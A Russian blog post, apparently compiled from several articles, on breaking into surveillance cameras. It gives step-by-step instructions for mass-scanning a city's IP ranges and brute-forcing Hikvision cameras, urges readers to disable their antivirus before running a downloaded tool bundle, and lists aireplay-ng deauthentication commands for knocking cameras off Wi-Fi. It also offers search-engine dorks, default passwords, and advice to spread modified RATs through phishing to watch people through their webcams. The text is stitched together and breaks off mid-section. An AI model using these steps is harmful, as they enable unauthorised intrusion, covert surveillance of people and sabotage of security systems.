Как взломать камеру в 2020 году | Белый ХАКЕР (Программист) | Яндекс Дзен

Как взломать камеру в 2020 году

Друг перед тем как читать ты зайди на мой сайт и добавь в закладки, там быстрее выходят статьи https://rest-zone.ru/

Сначала разберёмся какие типы видов камер бывают:

IP камеры - это камеры к которым можно подключиться через интернет. (Работают с интернетом Локальные камеры - это камеры к которым невозможно подключиться через интернет. Они никак не будут задействованы в интернет. (Работают без интернета)

Теперь я вам покажу и расскажу как находить IP камеры.

Для начала нам понадобиться необходимый софт для брута, чека и просмотра.

Сперва нам нужно будет скачать архив. Там весь необходимый софт для работы. Если же вы не хотите скачивать мой архив со сборником программ, тогда в путь за поиском необходимых программ !

Скачиваем архив:СКАЧАТЬ

KPortScan - https://www.virustotal.com/gui/file...434032842339f0ba38ad1ff62f72999c4e5/detection

iVMS-4200 - https://www.virustotal.com/gui/file...379b736524606fc52e7fc27b978f13c749b/detection

HIKKA - https://www.virustotal.com/gui/file...ecc27f76bd501d73b1265021069e653c1ba/detection

Внимание! Перед распаковкой отключите антивирус и добавьте KPortScan в исключения. Так как именно на него антивирус ругается. Вирусов нету 😈

Распаковываем архив в любую папку. И нас встречают 3 программы.

Что они делают эти три программы ?

KPortScan - Брут IP камер
HIKKA - Чек IP камер
iVMS-4200 - Просмотр IP камер

Что такое брут и чек?

Брут (Brute) - Добыча чего-либо
Чек (Check) - Проверка чего-либо (в данном случае проверка с помощью логина и паролей)

Сперва нам нужно открыть сайт.

Вот он: https://4it.me/getlistip

Вписываем туда город, который хотим взломать на камеры!

В моём случае например это будет российский город "Тверь"

Копируем IP-диапазоны, и открываем KPortScan и вставляем туда скопированные IP-диапазоны.

В списке выбираем "RUSSIAN FEDERATION"

Далее в "Port" пишем значение "8000"

И нажимаем кнопку "Start"

Внимание! Перед тем как нажимать кнопку "Start", сверьтесь со скрином как у меня, чтобы у вас потом не возникло ошибок!

Как взломать камеру в 2020 году

Как сверили свои значения с моим скрином, чтобы они совпадали, смело нажимаем на кнопку старта!

Ну и теперь осталось дождаться окончания чека. При чеке интернет у вас будет нагружен довольно сильно. Так что приготовьтесь к этому испытанию)

После завершения и вас будет отображено количество найденных IP камер.

Закрываем KPortScan и открываем файл results.txt

Там будут найденные камеры. Копируем все найденные камеры из файла results.txt и открываем папку с программой под названием "HIKKA"

Открываем файл "hosts" и скидываем скопированные камеры туда. Сохраняем и запускаем файл "start.bat"

Теперь ждём когда будет зелёная строка, это будет означать что камера найдена!

Пример найденной камеры:

Как только HIKKA нашла камеру, идём устанавливать программу "iVMS-4200"

Кстати, чуть не забыл, когда HIKKA нашла камеру, в папке pics будут фотки самой камеры, а в названии данные об камере.

Как только установили программу "iVMS-4200", открываем.

Если у вас английский язык, то нажимаем вверху "Help->Language->Русский

Далее открываем вкладку "Управление устройством" и нажимаем на кнопку "Добавить"

Вводим любой псевдоним.

Вводим адрес (пример: 91.238.24.219)

Вводим пользователя и пароль

Если вы запутались, то сверьтесь как у меня на скрине:

Как взломать камеру в 2020 году

После ввода необходимых данных нажимаем на кнопку "Добавить"

После успешного импорта камеры, переходим во вкладку "Основной ракурс"

И видим что появилась новая папка с вашим псевдонимом камеры. Открываем папку, и нажимаем на камеру 2 раза левой кнопкой мыши, или же просто перетягиваем камеру чуть правее.

Ну вот и всё! Что делать дальше вам решать..

Отключаем камеры видеонаблюдения полностью в любой Wi-Fi сети.

Весьма полезная информация для тех кто "шарит", и да работать это будет пока комп ижектирует трафик, связь восстановится, как только отключишь.

Что вам понадобится

Для начала вам понадобится Kali Linux или другой Linux дистрибутив, такой как Parrot Security или BlackArch, который может запускать Aireplay-ng. Вы можете запустить их с виртуальной машины, с помощью USB-флешки или с жесткого диска.

Затем вам понадобится Wi-Fi адаптер, поддерживающий инъекции пакетов, у которого есть режим мониторинга. Вам нужно будет сканировать область вокруг вас, чтобы найти устройство, которое можно отключить от сети, чтобы иметь возможность отправлять пакеты, притворяющиеся пакетами, отправленными с той точки доступа, к которой подключено это устройство.

Шаг 1. Обновите Kali

Прежде чем начать, убедитесь, что ваша система полностью обновлена. В Kali команда, с помощью которой можно это сделать, выглядит вот так:

apt update

Убедитесь, что у вас есть цель и права доступа к ней с помощью инструмента Aireplay-ng. Вы конечно можете сканировать любую сеть, какую захотите, с помощью Kismet, но Aireplay-ng непосредственно будет выполнять атаку типа DDoS

Шаг 2. Выберите оружие

Первым шагом в выборе беспроводных целей является проведение пассивной разведки в определенной Wi-Fi сети. Для этого можно использовать программу под названием Kismet, которая выполняет умный анализ Wi-Fi сигналов пассивно и незаметно. Преимущество этого способа заключается в том, что просто находясь рядом с вашей целью, вы можете отслеживать беспроводной трафик в этой области, а затем спарсить нужную информацию для того, чтобы найти интересное устройство.

Альтернативой Kismet является Arp-scan, который можно настроить несколькими способами для фильтрации информации об обнаруженных сетях. И хотя этот инструмент хорошо работает, иногда на выходе может потребоваться больше работы по расшифровке полученных данных. Сегодня в нашей статье мы будем использовать Kismet.

Шаг 3. Переключите Wi-Fi адаптер в режиме мониторинга

Чтобы начать сканирование сети при помощи любого инструмента, нам нужно включить наш беспроводной сетевой адаптер в режим мониторинга. Мы можем сделать это, набрав следующую команду, при условии, что wlan0 — это имя вашей беспроводной карты. Вы можете узнать имя вашей беспроводной карты, запустив команды ifconfig или ip a, которые выведут на экран доступные сетевые интерфейсы.

sudo airmon-ng start wlan0

После запуска этой команды вы можете снова запустить ifconfig или ip a, чтобы убедиться, что ваша карта находится в режиме мониторинга. Теперь ее название будет чем-то вроде wlan0mon.

Шаг 4. Натравите Kismet на сеть

После того, как вы включите режим мониторинга, мы можем запустить Kismet, набрав следующую команду:

kismet -c wlan0mon

В этой команде мы указываем, какой сетевой адаптер должен использовать Kismet, это делается через флаг -c (от слова client) Вы можете нажать Tab, затем Enter, чтобы закрыть окно консоли и показать главный экран.

Шаг 5. При помощи Kismet найдите беспроводные камеры безопасности

Теперь мы можем прокрутиться в списке по всем устройствам в сети и попытаться найти что-нибудь интересное. Если вы не можете этого сделать, то попробуйте включить дополнительные параметры в меню «Preferences», чтобы увидеть источник пакетов. Вы можете получить доступ к нему через меню «Kismet».

Как только Kismet заработает, вы сможете увидеть название производителя любых устройств, и по этому названию определить, что из перечисленных устройств может быть камерой безопасности. Здесь мы нашли устройство, которое, по словам Kismet, сделано компанией «Hangzhou». Вы можете увидеть, что его MAC-адрес — A4:14:37:XX:XX:XX.

Мы остановимся более подробно на том моменте, каким образом назначаются MAC-адреса. Поскольку первые шесть цифр и букв присваиваются определенной организации, то мы можем быстро найти название компании, которая делает такие устройства по номеру «A41437».

Взяв полное название компании (в этом случае Hangzhou Hikvision Digital Technology), и **** его в поиск Google, мы узнаем линейку ее продуктов. Повезло, эта компания как раз делает камеры беспроводного видеонаблюдения.

Теперь у нас есть три части нашей мозаики: имя и BSSID точки доступа Wi-Fi, на которой установлена камера, канал, в который транслирует свой сигнал сеть, и адреса BSSID самой камеры. Вы можете нажать Ctrl-C, чтобы закрыть Kismet.

Стоит отметить, что если камера начинает записывать или отправлять данные только когда видит движение, то и хакер не увидит трафик от нее до тех пор, пока камера не начнет передачу.

Можно предположить, что стриминговая камера, подключенная к DVR, перестанет функционировать, если ее отключить от сети. Имея в своем распоряжении всю эту информацию, можно использовать Aireplay-ng для разрыва соединения.

Шаг 6. Выполните атаку деаутентификации

Чтобы разорвать соединение с устройством, на которое мы нацелились, нам нужно закрепить беспроводную сеть на том канале, где мы видим идущий трафик. Можно сделать это, набрав следующую команду, предположив, что мы хотим заблокировать сетевой адаптер на 6-м канале:

airmon-ng start wlan0mon 6

Теперь, когда наша карта настроена на правильный канал, мы можем отправить команду, которая отключит обнаруженное нами устройство. Команда, которую мы будем использовать для этого, форматируется следующим образом:

aireplay-ng -0 0 -a -c

Вот разбивка ее составных частей:

-0 задает опцию атаки в 0, атаки деаутентификации, которая отправит устройству пакеты аутентификации, идущие как будто бы от точки доступа. Следующий 0 указывает на отправку непрерывного потока пакетов деаутентификации, но вы также можете выбрать фиксированное число.

-a установит BSSID точки доступа Wi-Fi сети, к которой подключено устройство.

-c установит BSSID устройства, которое мы хотим убрать из сети.

Итоговый вид нашей команды будет следующим:

aireplay-ng -0 0 -a ХХ:ХХ:ХХ:ХХ:ХХ:ХХ -c a4:14:37:ХХ:ХХ:ХХ wlan0mon

Как только эта команда будет запущена, она будет блокировать Wi-Fi соединение между двумя устройствами до тех пор, пока вы ее не прекратите, нажав комбинацию клавиш Ctrl-C.

автор статьи сайт https://rest-zone.ru/

Подписывайся на канал

Удаленный доступ к веб-камерам и камерам наблюдения — самая наглядная практика взлома. Она не требует спецсофта, позволяя обойтись только браузером и нехитрыми манипуляциями. Тысячи цифровых глаз по всему миру станут доступны, если ты умеешь находить их IP-адреса и уязвимости.

WARNING

Статья носит исследовательский характер. Она адресована специалистам по безопасности и тем, кто собирается ими стать. При ее написании использовались общедоступные базы данных. Ни редакция, ни автор не несут ответственности за неэтичное использование любых упомянутых здесь сведений.

С широко закрытыми глазами

Видеонаблюдение используется преимущественно для охраны, а потому не жди веселых картинок с первой же хакнутой камеры. Может, тебе и посчастливится быстро найти HD-трансляцию из элитного борделя, но чаще будут попадаться скучные виды на безлюдные склады и парковки с разрешением VGA. Если в кадре и есть люди, то в основном это ждуны в холле и жруны в кафе. Куда интереснее наблюдать за самими операторами и работой всяких роботов.

Реальное и формальное наблюдение
Реальное и формальное наблюдение

IP-камеры и веб-камеры часто путают, хотя это принципиально разные устройства. Сетевая камера, или IP-камера, — самодостаточное средство наблюдения. Она управляется через веб-интерфейс и самостоятельно передает видеопоток по сети. По сути, это микрокомпьютер со своей ОС на базе Linux. Сетевой интерфейс Ethernet (RJ-45) или Wi-Fi позволяет выполнять прямое подключение к IP-камере. Раньше для этого использовались фирменные клиентские приложения, но большинство современных камер управляются через браузер с любого устройства — хоть с компа, хоть со смартфона. Как правило, IP-камеры включены постоянно и доступны удаленно. Именно этим и пользуются хакеры.

Робот в архиве библиотеки
Робот в архиве библиотеки

Веб-камера — пассивное устройство, которым управляют локально с компьютера (по USB) или ноутбука (если она встроенная) через драйвер операционной системы. Этот драйвер может быть двух разных типов: универсальный (предустановленный в ОС и подходящий для многих камер разных производителей) и написанный на заказ для конкретной модели. Задача хакера здесь уже другая: не подключиться к веб-камере, а перехватить ее видеопоток, который она транслирует через драйвер. У веб-камеры нет отдельного IP-адреса и встроенного веб-сервера. Поэтому взлом веб-камеры всегда следствие взлома компьютера, к которому она подключена. Давай пока отложим теорию и немного попрактикуемся.

Очки н-н-нада?
Очки н-н-нада?

Взлом камер наблюдения

Взлом IP-камер вовсе не говорит о том, что кто-то хозяйничает на компьютере, с которого владелец смотрит их видеопоток. Просто теперь он смотрит его не один. Это отдельные и довольно легкие цели, однако подводных камней на пути к ним хватает.

WARNING

Подглядывание через камеры может повлечь административное и уголовное наказание. Обычно назначают штраф, но не всем удается легко отделаться. Мэттью Андерсон отсидел полтора года за взлом веб-камер с помощью трояна. Повторившему его подвиг присудили уже четыре года.

Во-первых, удаленный доступ к выбранной камере может поддерживаться только через какой-то конкретный браузер. Одним подавай свежий Chrome или Firefox, а другие работают только со старым IE. Во-вторых, видеопоток транслируется в интернет в разных форматах. Где-то для его просмотра нужно будет установить плагин VLC, другие камеры потребуют Flash Player, а третьи не покажут ничего без старой версии Java или собственного плагина.

Китайская вежливость
Китайская вежливость

Иногда встречаются нетривиальные решения. Например, Raspberry Pi превращают в сервер видеонаблюдения с nginx и транслируют видео по RTMP.

Малиновая камера
Малиновая камера

По замыслу, IP-камеру защищают от вторжения два секрета: ее IP-адрес и пароль учетной записи. На практике IP-адреса вряд ли можно назвать секретом. Они легко обнаруживаются по стандартным адресам, к тому же камеры одинаково откликаются на запросы поисковых роботов. Например, на следующем скриншоте видно, что владелец камеры отключил анонимный доступ к ней и добавил ввод CAPTCHA для предотвращения автоматизированных атак. Однако по прямой ссылке /index.htm можно изменить их без авторизации.

Получаем доступ вопреки настройкам
Получаем доступ вопреки настройкам

Уязвимые камеры наблюдения можно отыскать через Google или другой поисковик с помощью продвинутых запросов. Например:

inurl:«wvhttp-01»inurl:«viewerframe?mode=»inurl:«videostream.cgi»inurl:«webcapture»inurl:«snap.jpg»inurl:«snapshot.jpg»inurl:«video.mjpg»
Находим камеры через Google
Находим камеры через Google

Куда удобнее искать их через Shodan. Для начала можно ограничиться простым запросом netcam, а затем перейти к более продвинутым: netcam city:Moscow, netcam country:RU, webcamxp geo:55.45,37.37, linux upnp avtech и другим. Подробнее об использовании этого поисковика читай в статье «Белая шляпа для Shodan».

Ищем камеры в Shodan
Ищем камеры в Shodan

Прекрасно ищет камеры и Censys. Язык запросов у него чуть сложнее, но разобраться с ним тоже большого труда не составит. Например, запрос 80.http.get.body:"DVR Web Client" покажет камеры, подключенные к IP-видеорегистратору, а metadata.manufacturer:"axis" найдет камеры производства Axis. О том, как работать с Censys, мы тоже уже писали — в статье «Что умеет Censys?».

Ищем камеры в Censys
Ищем камеры в Censys

Еще один шикарный поисковик по «интернету вещей» — ZoomEye. Камеры в нем находятся по запросам device:webcam или device:media device.

Ищем камеры в ZoomEye
Ищем камеры в ZoomEye

Можно искать и по старинке, банально сканируя диапазоны IP-адресов в поисках характерного отклика от камеры. Получить список айпишников определенного города можно на этом веб-сервисе. Там же есть сканер портов на случай, если у тебя до сих пор нет собственного.

В первую очередь нас интересуют порты 8000, 8080 и 8888, поскольку они часто заданы по умолчанию. Узнать дефолтный номер порта для конкретной камеры можно в ее руководстве. Номер практически никогда не меняют. Естественно, на любом порте можно обнаружить и другие сервисы, поэтому результаты поиска придется дополнительно фильтровать.

RTFM!
RTFM!

Узнать модель обнаруженной камеры просто: обычно она указана на титульной странице веб-интерфейса и в ее настройках.

Узнаем модель камеры и настраиваем ее
Узнаем модель камеры и настраиваем ее

Когда я говорил в начале статьи об управлении камерами через «фирменное клиентское приложение», то имел в виду программы вроде iVMS 4xxx, которая поставляется с камерами Hikvision. На сайте разработчика можно почитать русскоязычный мануал к программе и самим камерам. Если ты найдешь такую камеру, то с большой вероятностью на ней будет стоять заводской пароль, и программа предоставит к ней полный доступ.

С паролями к камерам наблюдения дела вообще обстоят крайне весело. На некоторых камерах пароля просто нет и авторизация отсутствует напрочь. На других стоит заданный по умолчанию пароль, который легко найти в мануале к камере. На сайте ipvm.com опубликован список самых часто встречающихся логинов и паролей, установленных на разные модели камер.

admin/admin, откройся!
admin/admin, откройся!

Часто бывает, что производитель оставил в прошивке камеры служебный вход для сервис-центров. Он остается открытым даже после того, как владелец камеры сменил дефолтный пароль. В мануале его уже не прочтешь, а вот найти на тематических форумах можно.

Огромная проблема состоит в том, что во многих камерах используется один и тот же веб-сервер GoAhead. В нем есть несколько известных уязвимостей, которые производители камер не спешат патчить.

GoAhead, в частности, подвержен переполнению стека, которое можно вызывать простым запросом HTTP GET. Ситуация усложняется еще и тем, что китайские производители модифицируют GoAhead в своих прошивках, добавляя новые дыры.

Вливайся, милок!
Вливайся, милок!

На сегодняшний день больше миллиона IP-камер и IP-видеорегистраторов разных производителей позволяют удаленно получить доступ к их настройкам безо всякой авторизации. Скрипт на Python, автоматизирующий атаку на уязвимые устройства, уже выложен на GitHub. Проблема была обнаружена в начале 2017 года при реверсинге прошивок DVR производства Dahua Technology. Чуть позже выяснилось, что она затрагивает более тысячи моделей разных производителей. Они просто тиражировали ошибки друг друга. Автор обещал дать время на исправление и пока не раскрывать всех деталей, но он готов поделиться ими приватно по email со всеми специалистами по безопасности. Если у тебя есть сертификат CEH (Certified Ethical Hacker) или аналогичный — можешь попробовать.

Добавим яркости!
Добавим яркости!

В коде других прошивок встречаются такие ляпы, как кривые условные переходы. Такая камера открывает доступ, если ввести неправильный пароль или просто нажать кнопку «Отмена» несколько раз. Во время нашего исследования мне попалось более десятка таких камер. Так что, если ты устал перебирать дефолтные пароли, попробуй кликнуть Cancel — есть шанс внезапно получить доступ.

Камеры среднего и высокого класса оснащают поворотными креплениями. Взломав такую, можно сменить ракурс и полноценно осмотреть все вокруг. Особенно занятно бывает играть в перетягивание камеры, когда, помимо тебя, ей одновременно пытается управлять кто-то еще. В общем случае атакующий получает полное управление камерой прямо из своего браузера, просто обратившись по нужному адресу.

Управление камерой
Управление камерой

Когда говорят о тысячах уязвимых камер, хочется подробнее разобрать хотя бы одну. Предлагаю начать с популярного производителя Foscam. Помнишь, я говорил про служебные входы? Так вот у камер Foscam и многих других они есть. Помимо встроенной учетки admin, пароль к которой рекомендуется задать при первом включении камеры, есть еще один аккаунт — operator. Его пароль по умолчанию пустой, и его редко кто догадывается сменить.

Логинимся как оператор и добавляем новые учетки
Логинимся как оператор и добавляем новые учетки

Кроме того, у камер Foscam очень узнаваемые адреса из-за шаблонной регистрации. В общем случае он выглядит как xxxxxx.myfoscam.org:88, где первые два xx — буквы латиницы, а последующие четыре — порядковый номер в десятичном формате.

Если камера подключена к IP-видеорегистратору, то можно не только удаленно наблюдать в реальном времени, но и просмотреть прежние записи.

Смотрим запись из бэкапа
Смотрим запись из бэкапа

Как устроен детектор движения

Профессиональные камеры наблюдения оснащены дополнительным датчиком — детектором движения, который работает даже в полной темноте благодаря ИК-приемнику. Это интереснее постоянно включенной ИК-подсветки, так как не демаскирует камеру и позволяет ей вести скрытое наблюдение. Люди всегда светятся в ближнем ИК-диапазоне (по крайней мере — живые). Как только сенсор зафиксирует движение, контроллер включает запись. Если фотоэлемент сигнализирует о низкой освещенности, дополнительно включается подсветка. Причем точно в момент записи, когда уже поздно закрываться от объектива.

Дешевые камеры устроены проще. У них нет отдельного датчика движения, а вместо него используется сравнение кадров с самой веб-камеры. Если картинка отличается от предыдущей, значит, в кадре что-то изменилось и надо это записать. Если движение не зафиксировано, то серия кадров просто удаляется. Это экономит место, трафик и время на последующую перемотку видео. Большинство детекторов движения настраиваются. Можно задать порог срабатывания, чтобы не протоколировать любое шевеление перед камерой, и настроить дополнительные оповещения. Например, отправлять СМС и последнюю фотку с камеры сразу на смартфон.

Настраиваем детектор движения камеры
Настраиваем детектор движения камеры

Программный детектор движения сильно уступает аппаратному и часто становится причиной казусов. В ходе своих изысканий я наткнулся на две камеры, которые непрерывно слали алерты и записывали гигабайты «компромата». Все тревоги оказались ложными. Первая камера была установлена снаружи какого-то склада. Она заросла паутиной, которая дрожала на ветру и сводила детектор движения с ума. Вторая камера была расположена в офисе напротив мигающего огоньками роутера. В обоих случаях порог срабатывания был слишком низким.

Взлом веб-камер

Веб-камеры, которые работают через универсальный драйвер, часто называют UVC-совместимыми (от USB Video Class — UVC). Взломать UVC-камеру проще, поскольку она использует стандартный и хорошо задокументированный протокол. Однако в любом случае для доступа к веб-камере атакующему придется сначала получить контроль над компьютером, к которому она подключена.

Технически доступ к веб-камерам на компьютерах с Windows любой версии и разрядности осуществляется через драйвер камеры, фильтры DirectDraw и кодеки VFW. Однако начинающему хакеру не требуется вникать во все эти детали, если он не собирается писать продвинутый бэкдор. Достаточно взять любую «крысу» (RAT — Remote Admin Tool) и слегка модифицировать ее. Средств удаленного администрирования сегодня просто уйма. Кроме отборных бэкдоров с VX Heaven, есть и вполне законные утилиты, вроде Ammyy Admin, LiteManager, LuminosityLink, Team Viewer или Radmin. Все, что опционально требуется изменить в них, — это настроить автоматический прием запросов на удаленное подключение и сворачивание главного окна. Дальше дело за методами социального инжиниринга.

Девушка, живущая в сети
Девушка, живущая в сети

Кодомодифицированная крыса загружается жертвой по фишинговой ссылке или проползает на ее компьютер сама через первую обнаруженную дыру. О том, как автоматизировать этот процесс, смотри в статье «Gophish — фреймворк для фишинга». Кстати, будь осторожен: большинство ссылок на «программы для взлома камер» сами фишинговые и могут привести тебя к скачиванию малвари.

У рядового пользователя большую часть времени веб-камера неактивна. Обычно о ее включении предупреждает светодиод, но даже с таким оповещением можно выполнять скрытое наблюдение. Как оказалось, индикацию активности веб-камеры можно отключить даже в том случае, если питание светодиода и CMOS-матрицы физически взаимосвязано. Это уже проделывали с веб-камерами iSight, встроенными в MacBook. Исследователи Брокер и Чекоуэй из университета Джона Хопкинса написали утилиту iSeeYou, которая запускается от простого пользователя и, эксплуатируя уязвимость контроллера Cypress, подменяет его прошивку. После запуска жертвой iSeeYou атакующий получает возможность включать камеру, не зажигая ее индикатор активности.

Уязвимости регулярно находят и в других микроконтроллерах. Специалист компании Prevx собрал целую коллекцию таких эксплоитов и показал примеры их использования. Практически все найденные уязвимости относились к 0day, но среди них были и давно известные, которые производители просто не собирались устранять.

Способов доставить эксплоиты становится все больше, а отловить их все труднее. Антивирусы часто пасуют перед модифицированными файлами PDF, имеют предустановленные ограничения на проверку больших файлов и не могут проверить зашифрованные компоненты малвари. Более того, полиморфизм или постоянная перекомпиляция боевой нагрузки стала нормой, поэтому сигнатурный анализ давно отошел на второй план. Внедрить троян, открывающий удаленный доступ к веб-камере, сегодня стало исключительно просто. Это одна из популярных забав среди троллей и script kiddies.

Превращаем вебку в камеру наблюдения

Любую веб-камеру можно превратить в подобие IP-камеры, если установить на подключенном к ней устройстве сервер видеонаблюдения. На компьютерах многие используют для этих целей старый webcamXP, чуть более новый webcam 7 и подобные программы.

Для смартфонов есть аналогичный софт — например, Salient Eye. Эта программа умеет сохранять видео в облачный хостинг, освобождая локальную память смартфона. Однако дыр в таких программах и самих ОС хватает, поэтому взломать управляемые ими веб-камеры часто оказывается не сложнее, чем IP-камеры с дырявой прошивкой.

Webcam 7 показывает видео без авторизации
Webcam 7 показывает видео без авторизации

Смартфон как средство наблюдения

В последнее время старые смартфоны и планшеты нередко приспосабливают для домашнего видеонаблюдения. Чаще всего на них ставят Android Webcam Server — простое приложение, которое транслирует видеопоток со встроенной камеры в интернет. Оно принимает запросы на порт 8080 и открывает панель управления на странице с говорящим названием /remote.html. Попав на нее, можно менять настройки камеры и смотреть изображение прямо в окне браузера (со звуком или без).

Обычно такие смартфоны показывают довольно унылые картины. Вряд ли тебе интересно смотреть на спящего пса или на припаркованную возле дома машину. Однако Android Webcam Server и аналогичные приложения можно использовать иначе. Помимо тыловой камеры, у смартфонов есть и фронтальная. Почему бы нам не включить ее? Тогда мы увидим другую сторону жизни владельца смартфона.

Переключаем камеры смартфона
Переключаем камеры смартфона

Защита от подглядывания

Первое, что приходит на ум большинству людей после демонстрации легкого взлома камер, — это заклеивать их изолентой. Владельцы веб-камер со шторкой считают, что их проблема подглядывания не касается, и зря. Возможно еще и подслушивание, поскольку, кроме объектива, у камер есть микрофон.

Разработчики антивирусов и других комплексов программной защиты используют путаницу в терминологии для продвижения своих продуктов. Они пугают статистикой взлома камер (которая действительно впечатляет, если в нее включить IP-камеры), а сами предлагают решение для контроля доступа к веб-камерам, причем технически ограниченное.

Защиту IP-камер можно повысить простыми средствами: обновив прошивку, сменив пароль, порт и отключив учетные записи по умолчанию, а также включив фильтрацию IP-адресов. Однако этого мало. Многие прошивки имеют неустраненные ошибки, которые позволяют получить доступ безо всякой авторизации — например, по стандартному адресу веб-страницы с LiveView или панели настроек. Когда находишь очередную дырявую прошивку, так и хочется ее обновить удаленно!

Помоги обновить прошивку уязвимой камеры
Помоги обновить прошивку уязвимой камеры

Взлом веб-камеры — совсем другое дело. Это всегда верхушка айсберга. Обычно к тому времени, когда атакующий получил к ней доступ, он уже успел порезвиться на локальных дисках, украсть учетки всех аккаунтов или сделать компьютер частью ботнета.

Тот же Kaspersky Internet Security предотвращает несанкционированный доступ только к видеопотоку веб-камеры. Он не помешает хакеру изменить ее настройки или включить микрофон. Список защищаемых им моделей официально ограничивается веб-камерами Microsoft и Logitech. Поэтому функцию «защита веб-камеры» стоит воспринимать лишь как дополнение.

Подглядывающие сайты

Отдельная проблема — атаки, связанные с реализацией управления доступом к камере в браузерах. Многие сайты предлагают сервисы общения с использованием камеры, поэтому запросы доступа к ней и ее встроенному микрофону всплывают в браузере по десять раз на день. Особенность здесь в том, что на сайте может использоваться скрипт, который открывает pop-under (дополнительное окно в фоне). Этому дочернему окну передаются разрешения родительского. Когда ты закрываешь основную страницу, микрофон остается включенным на фоновой. Из-за этого возможен сценарий, при котором пользователь думает, что закончил разговор, а на деле собеседник (или кто-то еще) продолжает его слышать.

В большинстве браузеров разрешения хранятся постоянно, поэтому при следующем посещении сайта тебя могут видеть и слышать уже без предупреждения. Стоит почаще проверять разрешения доступа к веб-камере и ее микрофону для разных сайтов. В Google Chrome это можно сделать на странице настроек chrome://settings/contentExceptions#media-stream. В старых версиях Firefox аналогичные настройки были на странице about:permissions, а в новых они задаются отдельно для каждого сайта при клике на иконку (i) слева в адресной строке. Подробнее смотри в документации Mozilla.

Как много из вас обращали внимание на то сколько сейчас появилось на улицах камер наблюдения? Просто пройдясь от дома до работы недавно я насчитал их почти пол сотни. А на сколько они безопасны задал себе вопрос я.. Оказывается не так чтобы очень… Проведя несколько дней за изучением вопроса, мы подготовили материал который раскажет как взломать веб камеру видеонаблюдения многих современных моделей.

Картинки по запросу hack surveillance cam

Итак, моей задачей было выбрать такого производителя, который, с одной стороны, давно присутствует на российском рынке, с другой — еще не привлекал внимание специалистов по безопасности. Мой выбор пал на корейскую фирму Microdigital, которая производит IP-камеры.

Сайт компании обещает нам широкий ассортимент: «свыше 30 моделей регистраторов, свыше 150 моделей видеокамер». Отлично!

Компания существует на рынке (в том числе и российском) уже больше двенадцати лет, а это значит, что ее продукция распространена. Оказалось даже, что в 2011 году был заключен договор на оснащение более 30 тысяч российских автобусов камерами этой фирмы.

В первую очередь меня заинтересовали устройства серии N, они достаточно продвинутые, но при этом пока что не стали объектом тестирования кого-то из исследователей. Пора исправить это! Я выбрал модель MDC-N4090W, которая предназначена для использования внутри помещений. Подробную информацию об устройстве можно почерпнуть на сайте производителя.

Картинки по запросу MDC-N4090W
Картинки по запросу MDC-N4090W

Изучение камеры

Начинать любое исследование железа лучше всего с изучения доступной документации.

Открываем PDF, полученный на сайте Microdigital, и узнаем, что у камеры есть веб-интерфейс с пользователями root (пароль root) и anonymous.

Ну и раз уж мы на сайте компании, прихватим актуальную прошивку для камеры. Долго искать не пришлось, она доступна в соответствующем разделе.

Не факт, правда, что в прошивке содержится вся нужная для тестирования информация, поэтому смысл ее изучать будет, только если нет полноценного админского доступа в консоль устройства либо когда надо изучить апдейт. Поэтому не будем сейчас тратить время и вернемся к прошивке позже.

Подготовка веб камеры к тестированию

Приступим к изучению аппаратной составляющей. Для этого разбираем устройство (ничего сложного, четыре винта по периметру) и получаем печатную плату.

Также видим следующее:

  • память S34ML01G100TF100;
  • чип DM368ZCE;
  • интерфейсы: четыре пина UART, USB, MicroSD, Ethernet.

Пины, отмеченные как BLE, я не рассматриваю, так как это, скорее всего, контакты для подключения модуля Bluetooth. Нас это в данный момент не интересует.

Модуль S34ML01G100TF100 — энергонезависимая NAND-память в корпусе TSOP-48. Datasheet легко гуглится. Из него узнаем подробнее о типе корпуса (NAND08) и размере хранилища — 128 Мбайт.

Для дальнейшей работы потребуется сделать бэкап данных, чтобы в случае «окирпичивания» камеры можно было вернуть ее в изначальное состояние. Для этого идеально подходит программатор ProMan TL86 или TL866 с переходником NAND08 → DIP48.

Содержимое флеш-памяти сохраним в нашу рабочую директорию. Как и к прошивке, возвращаться к ней нужно будет только в том случае, если не выйдет дорваться до админской консоли.

Картинки по запросу tl86
Картинки по запросу tl86

Для чипа DM368ZCE тоже не составило проблем нагуглить документацию (PDF). Оказывается, архитектура чипа — ARM. К тому же из документации можно достать его распиновку, но нам она не потребуется.

Пройдемся по интерфейсам. Из документации очевидно, что USB и MicroSD нужны в основном для того, чтобы подключать к устройству внешние носители и использовать их в качестве хранилища. Для полноты картины можем подключить к устройству USB-фаззер facedancer21 и, используя утилиту umap2scan, получить список поддерживаемых устройств.

К сожалению, камера не поддерживает ни одно из известных нам устройств.

Как насчет UART? Тут предстоит определить, за что отвечает каждый пин и какова скорость передачи данных. Для этого воспользуемся логическим анализатором Saleae Logic. Для удобства я подключился через проводок, который соединяет плату устройства и инфракрасные лампочки.

Пронумеруем пины для удобства.

Прежде чем включать логический анализатор, подключаем заземление к пину GND интерфейса для подключения BLE.

Теперь включаем логический анализатор и само устройство и смотрим, что из этого выйдет.

После включения устройства на пине номер 3 (в программе отсчет идет с нуля и пин нумерован как 2) передаются бинарные данные. Этот пин интерфейса UART отвечает за передачу данных (TX). Просмотрев длину одного бита, получаем текущую скорость передачи — 115 200 бит в секунду. При корректных настройках мы даже можем разглядеть часть текста.

У пина под номером 1 постоянное напряжение 3 В — следовательно, он предназначен для питания. Пин номер 4 связан с пином GND интерфейса для подключения модуля BLE. Значит, этот пин тоже «земля». И остается последний пин под номером 2, он отвечает за прием байтов (RX). Теперь у нас есть вся информация для общения с камерой по UART. Для подключения я воспользуюсь Arduino UNO в режиме переходника TTL.

Начинаем мониторить порт UART и получаем следующее.

При старте устройства первым делом подгружается загрузчик системы U-Boot. К сожалению, на уровне загрузки пин TX отключен в настройках камеры, поэтому мы можем наблюдать только отладочный вывод. Через какое-то время подгружается основная система, позволяющая ввести логин и пароль для доступа в администраторскую консоль. Пара root/root (аналогичная той, что используется для веб-админки и указана в документации) прекрасно подошла.

Получив консоль, мы можем изучить все работающие сервисы. Но не забываем, что у нас есть еще один неизученный интерфейс — Ethernet. Для его исследования нужно будет подготовить систему мониторинга трафика. Причем важно отслеживать первое же подключение к сети.

Мы должны начать перехватывать трафик сразу, поскольку некоторые устройства при первом подключении начинают скачивать обновления. Не факт, что в следующие разы получится перехватить коммуникации.

Для перехвата трафика я буду пользоваться устройством Lan Tap Pro.

Никакой связанной с обновлениями активности мы, впрочем, не обнаруживаем. На этом разведка закончена, и мы полностью готовы к поиску уязвимостей!

Сетевая часть

Просканируем порты утилитой Nmap и получим список открытых портов.

Пройдемся вкратце по доступным нам сервисам.

FTP

